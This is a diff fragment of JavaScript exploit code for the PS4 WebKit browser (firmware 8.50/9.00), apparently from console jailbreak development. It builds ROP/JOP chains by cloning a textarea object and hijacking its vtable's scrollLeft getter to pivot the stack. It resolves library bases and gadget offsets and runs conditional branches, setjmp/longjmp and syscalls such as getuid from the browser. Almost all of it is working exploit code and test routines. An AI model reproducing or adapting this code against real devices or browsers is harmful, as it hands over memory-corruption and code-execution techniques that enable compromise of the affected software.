|
|
||||||
const jmp_buf_size = 0xc8;
|
|
||||||
this.jmp_buf = new Uint8Array(jmp_buf_size);
|
|
||||||
this.jmp_buf_p = get_view_vector(this.jmp_buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
// sequence to pivot back and return
|
|
||||||
push_end() {
|
|
||||||
this.push_gadget(rop_epilogue);
|
|
||||||
}
|
|
||||||
|
|
||||||
check_is_branching() {
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
throw Error('chain is still branching, end it before running');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
push_value(value) {
|
|
||||||
super.push_value(value);
|
|
||||||
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
this.branch_position += 8;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
_clean_branch_ctx() {
|
|
||||||
this.is_branch_ctx = false;
|
|
||||||
this.branch_position = null;
|
|
||||||
this.delta_slot = null;
|
|
||||||
this.rsp_slot = null;
|
|
||||||
this.rsp_position = null;
|
|
||||||
}
|
|
||||||
|
|
||||||
clean() {
|
|
||||||
super.clean();
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
this.is_saved = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use start_branch() and end_branch() to delimit a ROP chain that will
|
|
||||||
// conditionally execute. rax must be set accordingly before the branch.
|
|
||||||
// rax == 0 means execute the conditional chain.
|
|
||||||
//
|
|
||||||
// example that always execute the conditional chain:
|
|
||||||
// chain.push_gadget('mov rax, 0; ret');
|
|
||||||
// chain.start_branch();
|
|
||||||
// chain.push_gadget('pop rbx; ret'); // always executed
|
|
||||||
// chain.end_branch();
|
|
||||||
start_branch() {
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
throw Error('chain already branching, end it first');
|
|
||||||
}
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdi, rsi
|
|
||||||
//
|
|
||||||
// u64 flag = 0 if -rax == 0 else 1
|
|
||||||
// *flag_addr = flag
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.push_constant(-1);
|
|
||||||
this.push_gadget('neg rax; ret');
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('adc esi, esi; ret');
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rsi; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdi
|
|
||||||
//
|
|
||||||
// rax = *flag_addr
|
|
||||||
// rcx = delta
|
|
||||||
// rax = -rax & rcx
|
|
||||||
// *flag_addr = rax
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
|
|
||||||
// dummy value, overwritten later by end_branch()
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.delta_slot = this.position;
|
|
||||||
this.push_constant(0);
|
|
||||||
|
|
||||||
this.push_gadget('neg rax; and rax, rcx; ret');
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdx, rsi
|
|
||||||
//
|
|
||||||
// rcx = rsp_position
|
|
||||||
// rsi = rsp
|
|
||||||
// rcx += rsi
|
|
||||||
// rdx = rcx
|
|
||||||
//
|
|
||||||
// dummy value, overwritten later at the end of start_branch()
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.rsp_slot = this.position;
|
|
||||||
this.push_constant(0);
|
|
||||||
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_value(this.stack_addr.add(this.position + 8));
|
|
||||||
|
|
||||||
// rsp collected here, start counting how much to perturb rsp
|
|
||||||
this.branch_position = 0;
|
|
||||||
this.is_branch_ctx = true;
|
|
||||||
|
|
||||||
this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
|
|
||||||
this.push_gadget('mov rdx, rcx; ret');
|
|
||||||
|
|
||||||
// clobbers rax
|
|
||||||
//
|
|
||||||
// rax = *flag_addr
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
|
|
||||||
// clobbers rax
|
|
||||||
//
|
|
||||||
// rax += rdx
|
|
||||||
// new_rsp = rax
|
|
||||||
this.push_gadget('add rax, rdx; ret');
|
|
||||||
|
|
||||||
// clobbers rdi
|
|
||||||
//
|
|
||||||
// for debugging, save new_rsp to flag_addr so we can verify it later
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// clobbers rdx, rcx
|
|
||||||
//
|
|
||||||
// rdx = rax
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rdx, rdi, rsp
|
|
||||||
//
|
|
||||||
// rsp = rdx
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(get_view_vector(this.jmp_target));
|
|
||||||
this.push_gadget('pop rdi; jmp qword ptr [rax + 0x1d]');
|
|
||||||
this.push_constant(0); // padding for the push
|
|
||||||
|
|
||||||
this.rsp_position = this.branch_position;
|
|
||||||
rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
|
|
||||||
}
|
|
||||||
|
|
||||||
end_branch() {
|
|
||||||
if (!this.is_branch_ctx) {
|
|
||||||
throw Error('can not end nonbranching chain');
|
|
||||||
}
|
|
||||||
|
|
||||||
const delta = this.branch_position - this.rsp_position;
|
|
||||||
rw.write64(this.stack, this.delta_slot, new Int(delta));
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
}
|
|
||||||
|
|
||||||
// clobbers rax, rdi, rsi
|
|
||||||
push_save() {
|
|
||||||
if (this.is_saved) {
|
|
||||||
throw Error('restore first before saving again');
|
|
||||||
}
|
|
||||||
this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
|
|
||||||
this.is_saved = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Force a push_restore() if at runtime you can ensure the save/restore
|
|
||||||
// pair line up.
|
|
||||||
push_restore(is_force=false) {
|
|
||||||
if (!this.is_saved && !is_force) {
|
|
||||||
throw Error('save first before restoring');
|
|
||||||
}
|
|
||||||
// modify jmp_buf.rsp
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
const rsp_slot = this.position;
|
|
||||||
// dummy value, overwritten later at the end of push_restore()
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.jmp_buf_p.add(0x38));
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// modify jmp_buf.return_address
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.get_gadget('ret'));
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.jmp_buf_p.add(0x80));
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
|
|
||||||
|
|
||||||
// Padding as longjmp() pushes the rdi and return address in the
|
|
||||||
// jmp_buf at the target rsp.
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_constant(0);
|
|
||||||
const target_rsp = this.stack_addr.add(this.position);
|
|
||||||
|
|
||||||
rw.write64(this.stack, rsp_slot, target_rsp);
|
|
||||||
this.is_saved = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
push_get_retval() {
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.retval_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
}
|
|
||||||
|
|
||||||
call(...args) {
|
|
||||||
if (this.position !== 0) {
|
|
||||||
throw Error('call() needs an empty chain');
|
|
||||||
}
|
|
||||||
this.push_call(...args);
|
|
||||||
this.push_get_retval();
|
|
||||||
this.push_end();
|
|
||||||
this.run();
|
|
||||||
this.clean();
|
|
||||||
|
|
||||||
return this.return_value;
|
|
||||||
}
|
|
||||||
|
|
||||||
syscall(...args) {
|
|
||||||
if (this.position !== 0) {
|
|
||||||
throw Error('syscall() needs an empty chain');
|
|
||||||
}
|
|
||||||
this.push_syscall(...args);
|
|
||||||
this.push_get_retval();
|
|
||||||
this.push_end();
|
|
||||||
this.run();
|
|
||||||
this.clean();
|
|
||||||
|
|
||||||
return this.return_value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// helper object for ROP
|
|
||||||
const rop_ta = document.createElement('textarea');
|
|
||||||
|
|
||||||
// Chain for PS4 8.50
|
|
||||||
class Chain850 extends Chain850Base {
|
|
||||||
constructor() {
|
|
||||||
super();
|
|
||||||
|
|
||||||
// sizeof JSC:JSObject, the JSCell + the butterfly field
|
|
||||||
const js_size = 0x10;
|
|
||||||
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
|
|
||||||
const js_ta_size = 0x20;
|
|
||||||
// start of the array of inline properties (JSValues)
|
|
||||||
const offset_js_inline_prop = 0x10;
|
|
||||||
// Sizes may vary between webkit versions so we just assume a size
|
|
||||||
// that we think is large enough for all of them.
|
|
||||||
const vtable_size = 0x1000;
|
|
||||||
const webcore_ta_size = 0x180;
|
|
||||||
|
|
||||||
const ta_clone = {};
|
|
||||||
this.ta_clone = ta_clone;
|
|
||||||
const clone_p = mem.addrof(ta_clone);
|
|
||||||
const ta_p = mem.addrof(rop_ta);
|
|
||||||
|
|
||||||
for (let i = js_size; i < js_ta_size; i += 8) {
|
|
||||||
clone_p.write64(i, ta_p.read64(i));
|
|
||||||
}
|
|
||||||
|
|
||||||
const webcore_ta = ta_p.readp(offset_textarea_impl);
|
|
||||||
const m_wrapped_clone = new Uint8Array(
|
|
||||||
make_buffer(webcore_ta, webcore_ta_size)
|
|
||||||
);
|
|
||||||
this.m_wrapped_clone = m_wrapped_clone;
|
|
||||||
|
|
||||||
// Replicate the vtable as much as possible or else the garbage
|
|
||||||
// collector will crash. It uses functions from the vtable.
|
|
||||||
//
|
|
||||||
// There is no need to restore the original vtable pointer later since
|
|
||||||
// it points to a copy with only offset 0x1c8 changed. The scrollLeft
|
|
||||||
// getter is not used by the GC.
|
|
||||||
const vtable_clone = new Uint8Array(
|
|
||||||
make_buffer(webcore_ta.readp(0), vtable_size)
|
|
||||||
);
|
|
||||||
this.vtable_clone = vtable_clone
|
|
||||||
|
|
||||||
clone_p.write64(
|
|
||||||
offset_textarea_impl,
|
|
||||||
get_view_vector(m_wrapped_clone),
|
|
||||||
);
|
|
||||||
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
|
|
||||||
|
|
||||||
clone_p.write64(0, ta_p.read64(0));
|
|
||||||
|
|
||||||
// 0x1c8 is the offset of the scrollLeft getter native function
|
|
||||||
rw.write64(vtable_clone, 0x1c8, this.get_gadget(jop1));
|
|
||||||
|
|
||||||
// for the JOP chain
|
|
||||||
const rax_ptrs = new Uint8Array(0x100);
|
|
||||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
|
||||||
this.rax_ptrs = rax_ptrs;
|
|
||||||
|
|
||||||
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
|
|
||||||
rw.write64(rax_ptrs, 0x60, this.get_gadget(jop3));
|
|
||||||
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop4));
|
|
||||||
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
|
|
||||||
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
|
|
||||||
// value to pivot rsp to
|
|
||||||
rw.write64(rax_ptrs, 0x18, this.stack_addr);
|
|
||||||
|
|
||||||
const jop_buffer = new Uint8Array(8);
|
|
||||||
const jop_buffer_p = get_view_vector(jop_buffer);
|
|
||||||
this.jop_buffer = jop_buffer;
|
|
||||||
|
|
||||||
rw.write64(jop_buffer, 0, rax_ptrs_p);
|
|
||||||
|
|
||||||
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
|
|
||||||
}
|
|
||||||
|
|
||||||
run() {
|
|
||||||
this.check_stale();
|
|
||||||
this.check_is_empty();
|
|
||||||
this.check_is_branching();
|
|
||||||
|
|
||||||
// jump to JOP chain
|
|
||||||
this.ta_clone.scrollLeft;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
const Chain = Chain850;
|
|
||||||
|
|
||||||
function init(Chain) {
|
|
||||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
|
||||||
|
|
||||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
|
||||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
|
||||||
debug_log('syscall_array:');
|
|
||||||
debug_log(syscall_array);
|
|
||||||
Chain.init_class(gadgets, syscall_array);
|
|
||||||
}
|
|
||||||
|
|
||||||
function test_rop(Chain) {
|
|
||||||
const jmp_buf = new Uint8Array(jmp_buf_size);
|
|
||||||
const jmp_buf_p = get_view_vector(jmp_buf);
|
|
||||||
|
|
||||||
init(Chain);
|
|
||||||
|
|
||||||
setjmp_addr = gadgets.get('setjmp');
|
|
||||||
longjmp_addr = gadgets.get('longjmp');
|
|
||||||
|
|
||||||
const chain = new Chain();
|
|
||||||
// Instead of writing to the jmp_buf, set rax here so it will be restored
|
|
||||||
// as the return value after the longjmp().
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_call(setjmp_addr, jmp_buf_p);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
|
|
||||||
debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
||||||
chain.push_call(longjmp_addr, jmp_buf_p);
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
// The ROP chain is a noop. If we crashed, then we did something wrong.
|
|
||||||
alert('chain run');
|
|
||||||
debug_log('test call setjmp()/longjmp()');
|
|
||||||
chain.run()
|
|
||||||
alert('returned successfully');
|
|
||||||
debug_log('returned successfully');
|
|
||||||
debug_log('jmp_buf:');
|
|
||||||
debug_log(jmp_buf);
|
|
||||||
debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
|
|
||||||
|
|
||||||
const state1 = new Uint8Array(8);
|
|
||||||
debug_log('test if rax == 0');
|
|
||||||
chain.clean();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rsi; ret');
|
|
||||||
chain.push_value(get_view_vector(state1));
|
|
||||||
chain.push_save();
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(0);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
chain.push_restore();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
chain.push_restore(true);
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(2);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.run();
|
|
||||||
debug_log(`state1 must be 1: ${state1}`);
|
|
||||||
if (state1[0] !== 1) {
|
|
||||||
die('if branch not taken');
|
|
||||||
}
|
|
||||||
|
|
||||||
const state2 = new Uint8Array(8);
|
|
||||||
debug_log('test if rax != 0');
|
|
||||||
chain.clean();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rsi; ret');
|
|
||||||
chain.push_value(get_view_vector(state2));
|
|
||||||
chain.push_save();
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
chain.push_restore();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
chain.push_restore(true);
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(2);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.run();
|
|
||||||
debug_log(`state2 must be 2: ${state2}`);
|
|
||||||
if (state2[0] !== 2) {
|
|
||||||
die('if branch taken');
|
|
||||||
}
|
|
||||||
|
|
||||||
debug_log('test syscall getuid()');
|
|
||||||
chain.clean();
|
|
||||||
// Set the return value to some random value. If the syscall worked, then
|
|
||||||
// it will likely change.
|
|
||||||
const magic = 0x4b435546;
|
|
||||||
rw.write32(chain._return_value, 0, magic);
|
|
||||||
|
|
||||||
const res = chain.syscall('getuid');
|
|
||||||
|
|
||||||
debug_log(`return value: ${res}`);
|
|
||||||
if (res.eq(magic)) {
|
|
||||||
die('syscall getuid failed');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
test_rop(Chain);
|
|
||||||
+7
-326
@@ -17,20 +17,19 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// by janisslsm (John) from ps4-dev discord
|
// by janisslsm (John) from ps4-dev discord
|
||||||
|
|
||||||
import { Int } from '/module/int64.mjs';
|
import { log } from '../module/utils.mjs';
|
||||||
import { log, die } from '/module/utils.mjs';
|
import { mem } from '../module/mem.mjs';
|
||||||
import { mem } from '/module/mem.mjs';
|
import { KB} from '../module/constants.mjs';
|
||||||
import { KB} from '/module/constants.mjs';
|
import { ChainBase } from '../module/chain.mjs';
|
||||||
import { ChainBase } from '/module/chain.mjs';
|
|
||||||
|
|
||||||
import {
|
import {
|
||||||
find_base,
|
find_base,
|
||||||
get_view_vector,
|
get_view_vector,
|
||||||
resolve_import,
|
resolve_import,
|
||||||
init_syscall_array,
|
init_syscall_array,
|
||||||
} from '/module/memtools.mjs';
|
} from '../module/memtools.mjs';
|
||||||
|
|
||||||
import * as rw from '/module/rw.mjs';
|
import * as rw from '../module/rw.mjs';
|
||||||
|
|
||||||
const origin = window.origin;
|
const origin = window.origin;
|
||||||
const port = '8000';
|
const port = '8000';
|
||||||
@@ -38,31 +37,12 @@ const url = `${origin}:${port}`;
|
|||||||
|
|
||||||
const syscall_array = [];
|
const syscall_array = [];
|
||||||
|
|
||||||
//const offset_func_exec = 0x18;
|
|
||||||
const offset_textarea_impl = 0x18;
|
const offset_textarea_impl = 0x18;
|
||||||
//const offset_js_inline_prop = 0x10;
|
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
// WebKit offsets of imported functions
|
||||||
const offset_wk_stack_chk_fail = 0x178;
|
const offset_wk_stack_chk_fail = 0x178;
|
||||||
const offset_wk_memcpy = 0x188;
|
const offset_wk_memcpy = 0x188;
|
||||||
|
|
||||||
// libSceLibcInternal offsets
|
|
||||||
const offset_libc_setjmp = 0x24F04;
|
|
||||||
const offset_libc_longjmp = 0x29448;
|
|
||||||
|
|
||||||
// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
|
|
||||||
//
|
|
||||||
// int setjmp(jmp_buf)
|
|
||||||
// noreturn longjmp(jmp_buf)
|
|
||||||
//
|
|
||||||
// This version of longjmp() does not take another argument to be used as
|
|
||||||
// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
|
|
||||||
// rax. Change it if you want a specific value from setjmp() after the
|
|
||||||
// longjmp().
|
|
||||||
const jmp_buf_size = 0xc8;
|
|
||||||
let setjmp_addr = null;
|
|
||||||
let longjmp_addr = null;
|
|
||||||
|
|
||||||
// libSceNKWebKit.sprx
|
// libSceNKWebKit.sprx
|
||||||
export let libwebkit_base = null;
|
export let libwebkit_base = null;
|
||||||
// libkernel_web.sprx
|
// libkernel_web.sprx
|
||||||
@@ -276,168 +256,7 @@ class Chain900Base extends ChainBase {
|
|||||||
this._clean_branch_ctx();
|
this._clean_branch_ctx();
|
||||||
this.is_saved = false;
|
this.is_saved = false;
|
||||||
this.is_stale = false;
|
this.is_stale = false;
|
||||||
}
|
this.position = 0;
|
||||||
|
|
||||||
// Use start_branch() and end_branch() to delimit a ROP chain that will
|
|
||||||
// conditionally execute. rax must be set accordingly before the branch.
|
|
||||||
// rax == 0 means execute the conditional chain.
|
|
||||||
//
|
|
||||||
// example that always execute the conditional chain:
|
|
||||||
// chain.push_gadget('mov rax, 0; ret');
|
|
||||||
// chain.start_branch();
|
|
||||||
// chain.push_gadget('pop rbx; ret'); // always executed
|
|
||||||
// chain.end_branch();
|
|
||||||
start_branch() {
|
|
||||||
if (this.is_branch_ctx) {
|
|
||||||
throw Error('chain already branching, end it first');
|
|
||||||
}
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdi, rsi
|
|
||||||
//
|
|
||||||
// u64 flag = 0 if -rax == 0 else 1
|
|
||||||
// *flag_addr = flag
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.push_constant(-1);
|
|
||||||
this.push_gadget('neg rax; ret');
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('adc esi, esi; ret');
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rsi; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdi
|
|
||||||
//
|
|
||||||
// rax = *flag_addr
|
|
||||||
// rcx = delta
|
|
||||||
// rax = -rax & rcx
|
|
||||||
// *flag_addr = rax
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
|
|
||||||
// dummy value, overwritten later by end_branch()
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.delta_slot = this.position;
|
|
||||||
this.push_constant(0);
|
|
||||||
|
|
||||||
this.push_gadget('neg rax; and rax, rcx; ret');
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rcx, rdx, rsi
|
|
||||||
//
|
|
||||||
// rcx = rsp_position
|
|
||||||
// rsi = rsp
|
|
||||||
// rcx += rsi
|
|
||||||
// rdx = rcx
|
|
||||||
//
|
|
||||||
// dummy value, overwritten later at the end of start_branch()
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.rsp_slot = this.position;
|
|
||||||
this.push_constant(0);
|
|
||||||
|
|
||||||
this.push_gadget('pop rsi; ret');
|
|
||||||
this.push_value(this.stack_addr.add(this.position + 8));
|
|
||||||
|
|
||||||
// rsp collected here, start counting how much to perturb rsp
|
|
||||||
this.branch_position = 0;
|
|
||||||
this.is_branch_ctx = true;
|
|
||||||
|
|
||||||
this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
|
|
||||||
this.push_gadget('mov rdx, rcx; ret');
|
|
||||||
|
|
||||||
// clobbers rax
|
|
||||||
//
|
|
||||||
// rax = *flag_addr
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
|
||||||
|
|
||||||
// clobbers rax
|
|
||||||
//
|
|
||||||
// rax += rdx
|
|
||||||
// new_rsp = rax
|
|
||||||
this.push_gadget('add rax, rdx; ret');
|
|
||||||
|
|
||||||
// clobbers rdi
|
|
||||||
//
|
|
||||||
// for debugging, save new_rsp to flag_addr so we can verify it later
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.flag_addr);
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// clobbers rdx, rcx
|
|
||||||
//
|
|
||||||
// rdx = rax
|
|
||||||
this.push_gadget('pop rcx; ret');
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
|
|
||||||
|
|
||||||
// clobbers rax, rdx, rsi, rsp
|
|
||||||
//
|
|
||||||
// rsp = rdx
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(get_view_vector(this.jmp_target));
|
|
||||||
this.push_gadget('pop rsi; jmp qword ptr [rax + 0x1c]');
|
|
||||||
this.push_constant(0); // padding for the push
|
|
||||||
|
|
||||||
this.rsp_position = this.branch_position;
|
|
||||||
rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
|
|
||||||
}
|
|
||||||
|
|
||||||
end_branch() {
|
|
||||||
if (!this.is_branch_ctx) {
|
|
||||||
throw Error('can not end nonbranching chain');
|
|
||||||
}
|
|
||||||
|
|
||||||
const delta = this.branch_position - this.rsp_position;
|
|
||||||
rw.write64(this.stack, this.delta_slot, new Int(delta));
|
|
||||||
this._clean_branch_ctx();
|
|
||||||
}
|
|
||||||
|
|
||||||
// clobbers rax, rdi, rsi
|
|
||||||
push_save() {
|
|
||||||
if (this.is_saved) {
|
|
||||||
throw Error('restore first before saving again');
|
|
||||||
}
|
|
||||||
this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
|
|
||||||
this.is_saved = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Force a push_restore() if at runtime you can ensure the save/restore
|
|
||||||
// pair line up.
|
|
||||||
push_restore(is_force=false) {
|
|
||||||
if (!this.is_saved && !is_force) {
|
|
||||||
throw Error('save first before restoring');
|
|
||||||
}
|
|
||||||
// modify jmp_buf.rsp
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
const rsp_slot = this.position;
|
|
||||||
// dummy value, overwritten later at the end of push_restore()
|
|
||||||
this.push_constant(0);
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.jmp_buf_p.add(0x38));
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
// modify jmp_buf.return_address
|
|
||||||
this.push_gadget('pop rax; ret');
|
|
||||||
this.push_value(this.get_gadget('ret'));
|
|
||||||
this.push_gadget('pop rdi; ret');
|
|
||||||
this.push_value(this.jmp_buf_p.add(0x80));
|
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
|
||||||
|
|
||||||
this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
|
|
||||||
|
|
||||||
// Padding as longjmp() pushes the rdi and return address in the
|
|
||||||
// jmp_buf at the target rsp.
|
|
||||||
//this.push_constant(0);
|
|
||||||
this.push_constant(0);
|
|
||||||
const target_rsp = this.stack_addr.add(this.position);
|
|
||||||
|
|
||||||
rw.write64(this.stack, rsp_slot, target_rsp);
|
|
||||||
this.is_saved = false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_retval() {
|
push_get_retval() {
|
||||||
@@ -446,28 +265,6 @@ class Chain900Base extends ChainBase {
|
|||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||||
}
|
}
|
||||||
|
|
||||||
call(...args) {
|
|
||||||
if (this.position !== 0) {
|
|
||||||
throw Error('call() needs an empty chain');
|
|
||||||
}
|
|
||||||
this.push_call(...args);
|
|
||||||
this.push_get_retval();
|
|
||||||
this.push_end();
|
|
||||||
this.run();
|
|
||||||
this.clean();
|
|
||||||
}
|
|
||||||
|
|
||||||
syscall(...args) {
|
|
||||||
if (this.position !== 0) {
|
|
||||||
throw Error('syscall() needs an empty chain');
|
|
||||||
}
|
|
||||||
this.push_syscall(...args);
|
|
||||||
this.push_get_retval();
|
|
||||||
this.push_end();
|
|
||||||
this.run();
|
|
||||||
this.clean();
|
|
||||||
}
|
|
||||||
|
|
||||||
push_clear_errno() {
|
push_clear_errno() {
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget('__error'));
|
||||||
this.push_gadget('pop rsi; ret');
|
this.push_gadget('pop rsi; ret');
|
||||||
@@ -574,120 +371,4 @@ export function init(Chain) {
|
|||||||
Chain.init_class(gadgets, syscall_array);
|
Chain.init_class(gadgets, syscall_array);
|
||||||
}
|
}
|
||||||
|
|
||||||
function test_rop(Chain) {
|
|
||||||
const jmp_buf = new Uint8Array(jmp_buf_size);
|
|
||||||
const jmp_buf_p = get_view_vector(jmp_buf);
|
|
||||||
|
|
||||||
init(Chain);
|
|
||||||
|
|
||||||
setjmp_addr = gadgets.get('setjmp');
|
|
||||||
longjmp_addr = gadgets.get('longjmp');
|
|
||||||
|
|
||||||
const chain = new Chain();
|
|
||||||
// Instead of writing to the jmp_buf, set rax here so it will be restored
|
|
||||||
// as the return value after the longjmp().
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_call(setjmp_addr, jmp_buf_p);
|
|
||||||
|
|
